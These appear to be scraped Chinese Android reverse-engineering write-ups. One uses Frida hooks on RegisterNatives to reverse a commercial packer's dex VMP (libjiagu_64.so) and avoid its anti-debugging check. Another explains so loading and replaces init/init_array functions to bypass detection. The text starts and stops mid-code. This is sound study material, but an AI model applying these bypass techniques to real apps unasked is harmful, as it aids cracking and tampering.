if (symbol.name == \\"_ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi\\") {
RegisterNativesaddr = symbol.address;
}
})
console.log(\\"RegisterNativesaddr->\\" + RegisterNativesaddr);
if (RegisterNativesaddr != null) {
Interceptor.attach(RegisterNativesaddr, {
onEnter: function (args) {
console.log(\\"go into RegisterNativesaddr\\");
var methodsptr = ptr(args[2]);
var method_count = args[3];
var i = 0;
console.log(\\"[\\" + Process.getCurrentThreadId() + \\"]RegisterNatives->\\" + method_count);
for (i = 0; i < method_count; i++) {
var name = methodsptr.add(i * Process.pointerSize * 3 + 0).readPointer().readUtf8String();
var signature = methodsptr.add(i * Process.pointerSize * 3 + 1 * Process.pointerSize).readPointer().readUtf8String();
var fnPtr = methodsptr.add(i * Process.pointerSize * 3 + 2 * Process.pointerSize).readPointer();
var find_module = Process.findModuleByAddress(fnPtr);
console.log(\\"[\\" + Process.getCurrentThreadId() + \\"]RegisterNatives->name:\\" + name + \\",sig:\\" + signature + \\",addr:\\" + fnPtr);
}
if (name == \\"onCreate\\") {
console.log(hexdump(fnPtr));
var code = Instruction.parse(fnPtr);
var next_code = code.next;
console.log(code.address, \\":\\", code);
for (var i = 0; i < 10; i++) {
var next_c = Instruction.parse(next_code);
console.log(next_c.address, \\":\\", next_c);
next_code = next_c.next;
}
var onCreate_fun_ptr = next_c.next.add(0xf);
var onCreate_fun_addr = Memory.readPointer(onCreate_fun_ptr);
console.log(\\"onCreate_function_address:\\",onCreate_fun_addr,\\"offset:\\",ptr(onCreate_fun_addr));
}
}, onLeave: function (retval) {
}
})
}
}
function main() {
var module = Module.findBaseAddress(\\"libjiagu_64.so\\");
console.log(\\"libjiagu_64.so base address: \\" + module);
traceRegisterNatives();
}
setImmediate(main);
输出了oncreate
但是是动态注册,找不到moudel的名字,无法直接打印地址。我们直接去so里面寻找字节码。在0x178c50+0xe7000=0x26FC50
在ida中找到onCreate地址
交叉引用onCreate,发现他被sub_1A1908调用。
再看看sub_1A1908的交叉引用
来到函数sub_12DFE4,这里应该就是函数绑定的地方。
参数0ff_265F20,指向sub_137978,进入
sub_137978这个函数是关键操作,可以Edit->other->specify switch idiom,修复。
sub_137978的逻辑大概是先保存栈帧,然后开辟新的空间,跳转跟之前一样,继续打印x8的变化,跟踪函数
Call 137978 In\\nx8 ====0x7164d7d568 libjiagu_64.so!0x139568\\nx8 ====0x7164d7b9c0 libjiagu_64.so!0x1379c0\\nx8 ====0x7164d7b9e0 libjiagu_64.so!0x1379e0\\nx8 ====0x7164d7ba04 libjiagu_64.so!0x137a04\\nx8 ====0x7164d7ba7c libjiagu_64.so!0x137a7c\\nx8 ====0x717c4e9ec4 libart.so!_ZN3art3JNI14PushLocalFrameEP7_JNIEnvi\\nx8 ====0x7164d7bbe8 libjiagu_64.so!0x137be8 //存在异或\\nx8 ====0x7164d7cd58 libjiagu_64.so!0x138d58 \\nx8 ====0x7164d7cd68 libjiagu_64.so!0x138d68\\nx8 ====0x7164d7cdf4 libjiagu_64.so!0x138df4\\nx8 ====0x7164d7cf04 libjiagu_64.so!0x138f04\\nx8 ====0x7164d7cf0c libjiagu_64.so!0x138f0c\\nx8 ====0x717c4eb8ec libart.so!_ZN3art3JNI11NewLocalRefEP7_JNIEnvP8_jobject\\nx8 ====0x7164d7cde8 libjiagu_64.so!0x138de8\\nx8 ====0x7164d7cdf4 libjiagu_64.so!0x138df4\\nx8 ====0x7164d7d70c libjiagu_64.so!0x13970c //来到了sub_144EF0\\nx8 ====0x7164d7d70c libjiagu_64.so!0x13970c //来到了sub_144EF0\\nx8 ====0x7164d88f4c libjiagu_64.so!0x144f4c //把sj8uwp\\\\}{}r赋值给寄存器\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x7164d89018 libjiagu_64.so!0x145018\\nx8 ====0x7164da3a54 libjiagu_64.so!0x15fa54 //寄存器赋值\\nx8 ====0x717c4eaa68 libart.so!_ZN3art3JNI12NewGlobalRefEP7_JNIEnvP8_jobject\\nx8 ====0x7164d89024 libjiagu_64.so!0x145024\\nx8 ====0x7164d89040 libjiagu_64.so!0x145040 \\nx8 ====0x7164d89058 libjiagu_64.so!0x145058\\nx8 ====0x7164d890b8 libjiagu_64.so!0x1450b8\\nx8 ====0x7164d890fc libjiagu_64.so!0x1450fc //存在EOR W8, W8, #31,存入 X0 + 8 位置。把x0的值给了x28\\nx8 ====0x7164d89148 libjiagu_64.so!0x145148\\nx8 ====0x7164d9e630 libjiagu_64.so!0x15a630//跳转到sub_16CE0C 存在花指令,似乎是重要函数,调用sub_15FC34\\nx8 ====0x7164d89154 libjiagu_64.so!0x145154//CMP W0, #129\\nx8 ====0x7164d8916c libjiagu_64.so!0x14516c/CMP W0, #191\\nx8 ====0x7164d89184 libjiagu_64.so!0x145184//CMP W0, #224\\nx8 ====0x7164d89508 libjiagu_64.so!0x145508//来到switch的分发快 CMP W0, #206\\nx8 ====0x7164d89520 libjiagu_64.so!0x145520 //CMP W0, #215\\nx8 ====0x7164d8a274 libjiagu_64.so!0x146274//CMP W0, #210\\nx8 ====0x7164d8a28c libjiagu_64.so!0x14628c//CMP W0, #212\\nx8 ====0x7164d8cca4 libjiagu_64.so!0x148ca4 //CMP W0, #211 很像二分法有没有\\nx8 ====0x7164d8f3cc libjiagu_64.so!0x14b3cc //来到sub_160D7C解释器,且之前的x28给了x7,也就是参数a8\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x717c4eaa68 libart.so!_ZN3art3JNI12NewGlobalRefEP7_JNIEnvP8_jobject\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x717c4ee3c0 libart.so!_ZN3art3JNI11GetMethodIDEP7_JNIEnvP7_jclassPKcS6_\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nx8 ====0x717c52d374 libart.so!_ZN3art3JNI14ExceptionCheckEP7_JNIEnv\\nlibjiagu_64.so!p:}|q\\nlibjiagu_64.so!p:}|q\\nlibjiagu_64.so!p:}|q\\nlibjiagu_64.so!p:}|q\\nx8 ====0x7164da9f8c libjiagu_64.so!0x165f8c\\nx8 ====0x7164da5df0 libjiagu_64.so!0x161df0\\nx8 ====0x717c5093dc libart.so!_ZN3art3JNI25CallNonvirtualVoidMethodAEP7_JNIEnvP8_jobjectP7_jclassP10_jmethodIDP6jvalue\\n//奔溃
定位到我们的解释器sub_160D7C
使用ida8.3进行动态调试
关键从0x1450fc处开始 ,从这里开始hook会遇到rtld_db_dlactivity反调试,而且会引导我们进入错误的分支。
tld_db_dlactivity函数默认情况下为空函数,当有调试器时将被改为断点指令。Android反调试对抗中,SIGTRAP信号反调试可通过判断该函数的数值来判断是否处于被调试状态
我们直接hook0x15a630,从这里开始调试,我们可以找到加密的opcode
指向他地址的指针被存在x0寄存器之中
sub_16CE0C是第一个解密函数
存在花指令,直接nop掉,重新定义为函数,对数据进行异或操作。
步入跟踪,来到花指令后的代码
loc_16CF9C\\nADR X8, loc_16D09C\\nSUB X8, X8, #236\\nLDR X30, [SP,#0xA0+var_A0]\\nMOV X30, X8\\nRET
ADR(Address of Label) 是 ARM64 特有的伪指令,用于将当前 PC 相对的某个地址加载到寄存器。
这里,它将 loc_16D09C
的地址加载到 X8
,然后让 X8 的值减少 236(0xEC)
然后从栈中保存x30的地址,X30
通常用于存储返回地址,把 X8
赋值给 X30
,ret时就会返回我们设定的地址
进入真正的解密,解密逻辑为
从加密的opcode读取第一字节给w8,再从存加密opcode地址的地方读取第八个字节给w13 (c5)
w9存取的是加密的opcode读取第二字节,再减去w12(存加密opcode地址的地方读取第八个字节,和w13相等),这里结果为7
赋值,比较,与取W9
低八位(07),相减,如果 EQ
(ZF=1,前面 TST
结果是 0)W8 = W11
(0xE2)否则W8 = W10
(0xE7)
然后异或得w9=e5,保留 W13
低 8 位,来到左边分支,异或得到w10=6B
然后和之前一样的操作来到另外一部分解密操作,w8恢复到c5,把w9插入到w10的高位,然后把w8的低位复制到高位
然后w8和w10异或得到解密的opcode 20ae
把刚刚解密的opcode,和加密的opcode传入函数sub_15FC34,这里应该是下一步解密,来看看关键部分
x8赋值为主dex文件的地址,w9是存加密opcode地址+18的值(A0AF),然后从主dex文件加载值w10 w8
W11 = W9 / W10 (整数除法) W9 = W9 - (W11 * W10)(求余数) W9 = W9 << 8 (左移 8 位) 然后X9 的低 8 位用 X19 的低 8 位替换得到最后值23AE,得到偏移
最后再从他查询得到值 D2赋值给w0
接着会根据w0的值来进行二分查找。且这个值是会变化的,如果从前面的函数开始调试,会出现错误的值,正确查找来到解释器的位置。
解释器函数入参如下,重点关注a5 a6(加密的opcode)和a7 (已经解密的opcode),并且这里的a4就是我们之前得到的解密的主dex文件地址
x0 MOV W0, #3 ; n4 \\n1 MOV W1, WZR ; a2\\n2 MOV X2, X20 ; JNIEnv\\n3 MOV X3, X21 ; a4\\n4 MOV X4, X19 ; a5\\n5 MOV X5, X22 ; a6\\n6 MOV W6, W25 ; a7\\n7 MOV X7, X28 ; a8\\nX0 0000000000000003\\nX1 0000000000000000\\nX2 0000007FC4CEE0A0 -> 0000007971A27800 -> 000000797C933118 (libart.so ! _ZN3art3JNI14NewObjectArrayEP7_JNIEnviP7_jclassP8_jobject)\\nX3 000000797CC43680 -> 0000007962CE6000 (debug003) -> (\\"dex\\\\n038\\")\\nX4 0000007971A26600 ([anon:libc_malloc]) -> 0000000000000000\\nX5 000000797CD00380 -> 00000079632ACEE0 (debug003) -> EA743718C721CC4E\\nX6 00000000000020AE\\n*X7 000000797CCE6C40 -> 0000007FC4CEE0A0 -> 0000007971A27800 -> [...] (libart.so ! _ZN3art3JNI14NewObjectArrayEP7_JNIEnviP7_jclassP8_jobject)
sub_16CB4C 存在同样的花指令,去除,函数和sub_16CE0C,套路都是一样的,直接从最后的真实逻辑开始分析
X8 = X20 << 1(2),读取 X19+8 处的字节到 W13(c5),从 X26 + X8 处读取 1 字节到 W8(就是第三个加密的opcode21)
W9 = W9 - W12(c7-c5=2),赋值,测试 W9 的 bit 5 是否为 1,W12 = W9 & 0xFF,W13 = W8 - W13,W8 = (Z == 1) ? W11 : W10
W9 = W8 XOR W12,W8 = W13 & 0xFF,W10 = W8 XOR W11(8E)
再来到,和之前的逻辑差不多,最后返回0x154b=5451
而5451对应method_id 正是onCreate
sub_16C918发现也存在异或,分析关键部分
w8读取第五六位的加密opcode,(3718)w9取其高位。
这里w12依旧是之前的c5,四处解密都是用的同一个密钥。
W9 = W9 - W12,W12 = W8 - W12,W8 = W9 & 0xFF,W9 = (Z == 1) ? W11 : W10,W8 = W9 XOR W8
W9 = W12 & 0xFF,后面的逻辑跟前面基本上一样,最后返回0x0021。
以上我们得到最后解密的opcode,逆序一下
ae20(d2)4b152100,这里d2是二分查找的关键。
与源apk的字节码对比,只有操作数不同。剩下的以此类推。
参考:
360加固dex解密流程分析 | oacia = oaciaのBbBlog~ = DEVIL or SWEET
[原创]app加固分析狗尾续貂之dex vmp还原-Android安全-看雪-安全社区|安全招聘|kanxue.com
[分享]某vmp壳原理分析笔记-Android安全-看雪-安全社区|安全招聘|kanxue.com
[原创] 某DEX_VMP安全分析与还原-Android安全-看雪-安全社区|安全招聘|kanxue.com
vmp入门(一):android dex vmp还原和安全性论述
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\n\\n\\nso?what can i do?
\\n
首先在java层肯定是要去调用so层文件,本篇重点讲解native层的加载流程,此处不再赘述。
\\n “Dynamic Link” 动态装载库,我们会想到windows系统中,存在加载dll文件的动态加载类型,在linux中,类似的文件就是.so
文件了,而加载文件的重要函数就是dlopen
。
dlopen:该函数将打开一个新库,并把它装入内存。该函数主要用来加载库中的符号,这些符号在编译的时候是不知道的。这种机制使得在系统中添加或者删除一个模块时,都不需要重新进行编译。
\\n函数原型
\\n1 | void *dlopen( const char *filename, int flag); |
第一个参数是头文件所在的文件名,也就是so文件,第二个标志参数有很多,例如有RTLD_NOW
和RTLD_LAZY
立即计算和需要时计算,以及RTLD_GLOBAL
使得那些在以后才加载的库可以获得其中的符号。方式就是dlopen返回的句柄作为dlsym()的第一个参数,获取符号在库中的地址。
此函数作为安卓平台上特有的函数 是dlopen函数的拓展版本,进一步增强了dlopen函数的功能
\\n函数原型
\\n1 | void * android_dlopen_ext( const char * path, int flag, const void * ext_data); |
可以看到在原函数基础上增加了ext_data参数
\\n参照源码可以大致了解增强的功能,其中大部分功能与第二个参数flag中的一些功能标志位相关联
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | typedef struct { /** A bitmask of `ANDROID_DLEXT_` enum values. */ uint64_t flags; /** Used by `ANDROID_DLEXT_RESERVED_ADDRESS` and `ANDROID_DLEXT_RESERVED_ADDRESS_HINT`. */ void * _Nullable reserved_addr; /** Used by `ANDROID_DLEXT_RESERVED_ADDRESS` and `ANDROID_DLEXT_RESERVED_ADDRESS_HINT`. */ size_t reserved_size; /** Used by `ANDROID_DLEXT_WRITE_RELRO` and `ANDROID_DLEXT_USE_RELRO`. */ int relro_fd; /** Used by `ANDROID_DLEXT_USE_LIBRARY_FD`. */ int library_fd; /** Used by `ANDROID_DLEXT_USE_LIBRARY_FD_OFFSET` */ off64_t library_fd_offset; /** Used by `ANDROID_DLEXT_USE_NAMESPACE`. */ struct android_namespace_t* _Nullable library_namespace; } android_dlextinfo; |
\\n\\n此版本为安卓4源码分析,最新版本的安卓号的加载流程在代码量上有进一步的提升,但是基础原理类似。
\\n
上面的dlopen函数只是一个引子,真正的核心功能代码实现在do_dlopen函数中
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | void * dlopen( const char * filename, int flags) { ScopedPthreadMutexLocker locker(&gDlMutex); soinfo* result = do_dlopen(filename, flags); if (result == NULL) { __bionic_format_dlerror( \\"dlopen failed\\" , linker_get_error_buffer()); return NULL; } return result; } soinfo* do_dlopen( const char * name, int flags) { //判断传入标志的类型 if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) { DL_ERR( \\"invalid flags to dlopen: %x\\" , flags); return NULL; } //内存保护权限设置 此处为可读可写,目的是在加载find_library函数后可以对soinfo结构体的内容进行修改 set_soinfo_pool_protection(PROT_READ | PROT_WRITE); soinfo* si = find_library(name); //这里返回了so信息链 if (si != NULL) { si->CallConstructors(); //这里执行了此构造方法 } //在这里就没有可写权限了 set_soinfo_pool_protection(PROT_READ); return si; } |
此函数的类型为soinfo
指针,soinfo
代表的含义是“进程加载的so链”,其中包含了已经被加载的so 的信息。这里所返回的值也是si——进程加载的so链。
其中涉及的主要两步函数为find_library
和CallConstructor
下面会继续介绍。
find_library函数传入参数后也会进行进一步的函数调用,流程见注释
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | static soinfo *find_loaded_library( const char *name) { soinfo *si; const char *bname; // TODO: don\'t use basename only for determining libraries // 619K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4G2k6r3g2Q4x3X3g2Y4L8$3!0Y4L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3j5h3&6V1M7X3!0A6k6q4)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8X3c8W2N6r3q4A6L8q4)9K6c8X3W2V1i4K6y4p5y4U0j5%4x3l9`.`. bname = strrchr (name, \'/\' ); //分割so文件的名称 bname = bname ? bname + 1 : name; for (si = solist; si != NULL; si = si->next) { //递归查找是否存在so文件名称 if (! strcmp (bname, si->name)) { return si; } } return NULL; } static soinfo* find_library_internal( const char * name) { if (name == NULL) { return somain; //返回共享库 } soinfo* si = find_loaded_library(name); if (si != NULL) { if (si->flags & FLAG_LINKED) { // 前者检查是否有flag标志字段,后者检查是否被链接 return si; //如果被链接就直接加载 } DL_ERR( \\"OOPS: recursive link to \\\\\\"%s\\\\\\"\\" , si->name); //报错递归链接错误。 //【递归链接:在动态库的加载过程中,如果同一个库被多次请求加载,可能会发生递归链接。通常这是不希望发生的情况,因为这会导致循环依赖或重复加载的错误。】 return NULL; } TRACE( \\"[ \'%s\' has not been loaded yet. Locating...]\\" , name); //发现未被加载后会通过load_library重新加载 si = load_library(name); //load_library的函数在下面介绍 if (si == NULL) { //如果再次加载仍为null 则返回null return NULL; } // At this point we know that whatever is loaded @ base is a valid ELF // shared library whose segments are properly mapped in. //返回了基址,大小和名称 TRACE( \\"[ init_library base=0x%08x sz=0x%08x name=\'%s\' ]\\" , si->base, si->size, si->name); //通过此函数 if (!soinfo_link_image(si)) { //此函数实现了动态链接库中section信息解析。 munmap( reinterpret_cast < void *>(si->base), si->size); soinfo_free(si); return NULL; } return si; } static soinfo* find_library( const char * name) { soinfo* si = find_library_internal(name); if (si != NULL) { si->ref_count++; } return si; } |
涉及知识点:elf文件格式,文件分区的加载
\\n此函数根据上面的soinfo链接映像函数分析的section动态节区中的信息,获取共享库依赖的所有的so文件名,所有的依赖库初始化完成后,执行init_func、init_array方法初始化该动态库。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | void soinfo::CallConstructors() { if (constructors_called) { return ; } // We set constructors_called before actually calling the constructors, otherwise it doesn\'t // protect against recursive constructor calls. One simple example of constructor recursion // is the libc debug malloc, which is implemented in libc_malloc_debug_leak.so: // 1. The program depends on libc, so libc\'s constructor is called here. // 2. The libc constructor calls dlopen() to load libc_malloc_debug_leak.so. // 3. dlopen() calls the constructors on the newly created // soinfo for libc_malloc_debug_leak.so. // 4. The debug .so depends on libc, so CallConstructors is // called again with the libc soinfo. If it doesn\'t trigger the early- // out above, the libc constructor will be called again (recursively!). constructors_called = true ; if ((flags & FLAG_EXE) == 0 && preinit_array != NULL) { // The GNU dynamic linker silently ignores these, but we warn the developer. PRINT( \\"\\\\\\"%s\\\\\\": ignoring %d-entry DT_PREINIT_ARRAY in shared library!\\" , name, preinit_array_count); } //确保库已被初始化加载 if (dynamic != NULL) { for (Elf32_Dyn* d = dynamic; d->d_tag != DT_NULL; ++d) { if (d->d_tag == DT_NEEDED) { const char * library_name = strtab + d->d_un.d_val; TRACE( \\"\\\\\\"%s\\\\\\": calling constructors in DT_NEEDED \\\\\\"%s\\\\\\"\\" , name, library_name); find_loaded_library(library_name)->CallConstructors(); } } } TRACE( \\"\\\\\\"%s\\\\\\": calling constructors\\" , name); //最后进行初始化函数的执行 // DT_INIT should be called before DT_INIT_ARRAY if both are present. CallFunction( \\"DT_INIT\\" , init_func); CallArray( \\"DT_INIT_ARRAY\\" , init_array, init_array_count, false ); } |
这两个函数是so文件在被加载或者卸载时自动执行的函数,用于初始化的操作,其中init函数优先于init_array函数。作为so层加载很早的函数,可以通过实现hook他来绕过一些关键的检测点。
\\n也正是因为加载过早且初始化后只加载一次,我们如果直接去hook是无法get到的,通过上面的流程我们知道了这两个函数是在call_constructors中进行加载,我们就可以通过逆向hook相关的native函数进行加载hook。通过在android_dlopen_ext
加载过程中进行hook操作。
这里有一步很关键的操作,关于call_constructors 函数,call_constructors
是在共享库加载时被调用的函数。意思就是他是存储在安卓本机中的本地链接库函数,而他的位置文件具体就在/system/bin/linker64
中,我们将他从手机上pull下来进行反编译并查找相关函数可以看到。
反编译的结果与我们上文看到的函数功能接近。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | __int64 __fastcall _dl__ZN6soinfo17call_constructorsEv( __int64 result) { char v1; // w8 __int64 v2; // x19 const char *v3; // x2 _QWORD *i; // x20 __int64 v5; // x1 __int64 v6; // x0 __int64 v7; // x8 char *v8; // x0 __int64 v9; // x2 __int64 v10; // x3 char v11[16]; // [xsp+8h] [xbp-38h] BYREF __int64 v12; // [xsp+18h] [xbp-28h] __int128 v13; // [xsp+20h] [xbp-20h] BYREF char *v14; // [xsp+30h] [xbp-10h] if ( !(_dl_g_is_ldd | *(result + 248)) ) { v1 = *(result + 48); v2 = result; *(result + 248) = 1; if ( (v1 & 4) == 0 && *(result + 136) && (_dl_g_ld_debug_verbosity & 0x80000000) == 0 ) { if ( (*(result + 432) & 1) != 0 ) v3 = *(result + 448); else v3 = (result + 433); _dl__Z10linker_logiPKcz(0xFFFFFFFFLL, \\"\\\\\\"%s\\\\\\": ignoring DT_PREINIT_ARRAY in shared library!\\" , v3); } for ( i = *(v2 + 288); i; i = *i ) _dl__ZN6soinfo17call_constructorsEv(i[1]); if ( (*(v2 + 48) & 0x10) == 0 ) { _dl__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2IDnEEPKc(v11, \\"calling constructors: \\" ); if ( (*(v2 + 432) & 1) != 0 ) v5 = *(v2 + 448); else v5 = v2 + 433; v6 = _dl__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKc(v11, v5); v7 = *(v6 + 16); v13 = *v6; v14 = v7; *(v6 + 8) = 0LL; *(v6 + 16) = 0LL; *v6 = 0LL; if ( (v13 & 1) != 0 ) v8 = v14; else v8 = &v13 + 1; _dl__Z18bionic_trace_beginPKc(v8); if ( (v13 & 1) != 0 ) _dl__ZdlPv(v14); if ( (v11[0] & 1) != 0 ) _dl__ZdlPv(v12); } if ( (*(v2 + 432) & 1) != 0 ) v9 = *(v2 + 448); else v9 = v2 + 433; _dl__ZL13call_functionPKcPFviPPcS2_ES0_( \\"DT_INIT\\" , *(v2 + 184), v9); if ( (*(v2 + 432) & 1) != 0 ) v10 = *(v2 + 448); else v10 = v2 + 433; result = _dl__ZL10call_arrayIPFviPPcS1_EEvPKcPT_mbS5_( \\"DT_INIT_ARRAY\\" , *(v2 + 152), *(v2 + 160), v10); if ( (*(v2 + 48) & 0x10) == 0 ) return _dl__Z16bionic_trace_endv(result); } return result; } |
通过hookandroid_dlopen_ext
定位我们要hook的so文件,通过hook linker64
中的 call_constructors
函数可以修改init和init_array的流程。
这里需要注意的是关于偏移地址的查找,可以通过pie,ida等工具 或者在linux环境中执行命令
\\n1 2 3 4 | $ readelf -d lib52pojie.so | grep INIT 0x000000000000000c (INIT) 0x12edc 0x0000000000000019 (INIT_ARRAY) 0x39b50 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | var hooked = false ; function hook_call_constructor(soName){ console.log( \\"hook_call_constructor ->\\" ,soName) var symbols = Process.getModuleByName( \\"linker64\\" ).enumerateSymbols(); var callConstructorAdd = null ; //暂时先空置此地址 for ( var index = 0;index < symbols.length;index++){ const symbol = symbols[index]; if (symbol.name.indexOf( \\"__dl__ZN6soinfo17call_constructorsEv\\" ) != -1){ callConstructorAdd = symbol.address; } } console.log( \\"call_constructors的地址为:\\" + callConstructorAdd); var isHooked = false ; Interceptor.attach(callConstructorAdd,{ onEnter: function (agrs){ if (!isHooked){ hook_init(soName); hook_init_array(soName); isHooked = true } }, onLeave: function (retval){ } }); } function hook_init(soName){ if (!hooked){ console.log( \\"hook_init -> \\" ,soName); var targetSoAddr = Module.findBaseAddress(soName); var init_proc_addr = targetSoAddr.add(0x12edc); Interceptor.replace(init_proc_addr, new NativeCallback( function (){ console.log( \\"init_proc 已hook\\" ); }, \'void\' ,[])); } } function hook_init_array(soName){ if (!hooked){ console.log( \\"hook_init_array ->\\" ,soName); var targetSoAddr = Module.findBaseAddress(soName); var init_array = targetSoAddr.add(0x12F38); Interceptor.replace(init_array , new NativeCallback( function (){ console.log( \\"init_array已hook\\" ); }, \'void\' ,[])); //hooked = true ; } } function main(){ hook_dlopen(); } setImmediate(main); |
\\n\\n通过 JNIEXPORT 和 JNICALL 两个宏定义声明,在虚拟机加载 so 时发现上面两个宏定义的函数时就会链接到对应的 native 方法。
\\n
\\n\\n通过 RegisterNatives 方法手动完成 native 方法和 so 中的方法的绑定,这样虚拟机就可以通过这个函数映射表直接找到相应的方法了。
\\n
流程如下。
\\n通过RegisterNatives(JNI *env ,jclass clazz ,const JNINativeMethord *methord ,jint nmethods)
函数,参数分别代表:java环境,java类的描述符,待注册的方法集合,待注册方法数量。
其中“待注册方法集合”是名为JNINativeMethord
的结构体,内容如下
1 2 3 4 5 | typedef struct { const char * name; // native方法名 const char * signature; // 方法签名,例如()Ljava/lang/String; void * fnPtr; // 函数指针 } JNINativeMethod; |
这里的第二个参数为方法签名需要注意,类型为字符串,由一对小括号和若干签名符号组成,其中括号内写传入参数的签名符号,没有参数则不写,括号外写返回参数的签名符号。
\\n签名符号 | \\nC/C++ | \\njava | \\n
---|---|---|
V | \\nvoid | \\nvoid | \\n
Z | \\njboolean | \\nboolean | \\n
I | \\njint | \\nint | \\n
J | \\njlong | \\nlong | \\n
D | \\njdouble | \\ndouble | \\n
F | \\njfloat | \\nfloat | \\n
B | \\njbyte | \\nbyte | \\n
C | \\njchar | \\nchar | \\n
S | \\njshort | \\nshort | \\n
[Z | \\njbooleanArray | \\nboolean[] | \\n
[I | \\njintArray | \\nint[] | \\n
[J | \\njlongArray | \\nlong[] | \\n
[D | \\njdoubleArray | \\ndouble[] | \\n
[F | \\njfloatArray | \\nfloat[] | \\n
[B | \\njbyteArray | \\nbyte[] | \\n
[C | \\njcharArray | \\nchar[] | \\n
[S | \\njshortArray | \\nshort[] | \\n
L+完整包名+类名 | \\njobject | \\nclass | \\n
实例:Java层函数String getText(int a,byte[] b)
就是(I[B)Ljava/lang/String;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | #include <jni.h> #include <string> std::string stringFromJNI( JNIEnv* env, jobject /* this */ ) { std::string hello = \\"Hello from C++\\" ; //env->FindClass() return reinterpret_cast < const char *>(env->NewStringUTF(hello.c_str())); } std::string myFunc(JNIEnv *env, jobject thiz, jint i_param) { // TODO: implement myFunc() std::string retValue= \\"input value is :===> \\" ; std::string temp; temp=std::to_string(i_param); retValue+=temp; return reinterpret_cast < const char *>(env->NewStringUTF(retValue.c_str())); } JNINativeMethod methods ={ { \\"stringFromJNI\\" , \\"()Ljava/lang/String;\\" ,( void *)stringFromJNI}, { \\"myFunc\\" , \\"(I)Ljava/lang/String;\\" ,( void *)f1} // }; jint JNI_OnLoad(JavaVM* vm, void * reserved){ JNIEnv *env=NULL; if (vm->GetEnv(( void **)&env,JNI_VERSION_1_6)!=JNI_OK){ return JNI_ERR; } jclass clazz = env->FindClass( \\"com/example/myapplicationndk/MainActivity\\" ); if (clazz==NULL){ return JNI_ERR; } jint iMethod= sizeof (methods)/ sizeof (methods[0]); //计算方法的数量 jint result=env->RegisterNatives(clazz,methods,iMethod); if (result<0){ return JNI_ERR; } return JNI_VERSION_1_6; } |
可以看出,在动态加载的过程中,很关键的方法就是流程图中的RegisterNatives
在这其中的参数有很多设置方法名的敏感信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | function find_RegisterNatives(params) { // 在 libart.so 库中枚举所有符号(函数、变量等) let symbols = Module.enumerateSymbolsSync( \\"libart.so\\" ); let addrRegisterNatives = null ; // 用于存储 RegisterNatives 方法的地址 // 遍历所有符号来查找 RegisterNatives 方法 for (let i = 0; i < symbols.length; i++) { let symbol = symbols[i]; // 当前遍历到的符号 // 检查符号名称是否符合 RegisterNatives 方法的特征 if (symbol.name.indexOf( \\"art\\" ) >= 0 && //RegisterNatives 是 ART(Android Runtime)环境的一部分 symbol.name.indexOf( \\"JNI\\" ) >= 0 && //RegisterNatives 是 JNI(Java Native Interface)的一部分 symbol.name.indexOf( \\"RegisterNatives\\" ) >= 0 && //检查符号名称中是否包含 \\"RegisterNatives\\" 字样。 symbol.name.indexOf( \\"CheckJNI\\" ) < 0) { //CheckJNI 是用于调试和验证 JNI 调用的工具,如果不过滤,会有两个RegisterNatives,而带有CheckJNI的系统一般是关闭的,所有要过滤掉 addrRegisterNatives = symbol.address; // 保存方法地址 console.log( \\"RegisterNatives is at \\" , symbol.address, symbol.name); // 输出地址和名称 hook_RegisterNatives(addrRegisterNatives); // 调用hook函数 } } } function hook_RegisterNatives(addrRegisterNatives) { // 确保提供的地址不为空 if (addrRegisterNatives != null ) { // 使用 Frida 的 Interceptor hook指定地址的函数 Interceptor.attach(addrRegisterNatives, { // 当函数被调用时执行的代码 onEnter: function (args) { // 打印调用方法的数量 console.log( \\"[RegisterNatives] method_count:\\" , args[3]); // 获取 Java 类并打印类名 let java_class = args[1]; let class_name = Java.vm.tryGetEnv().getClassName(java_class); let 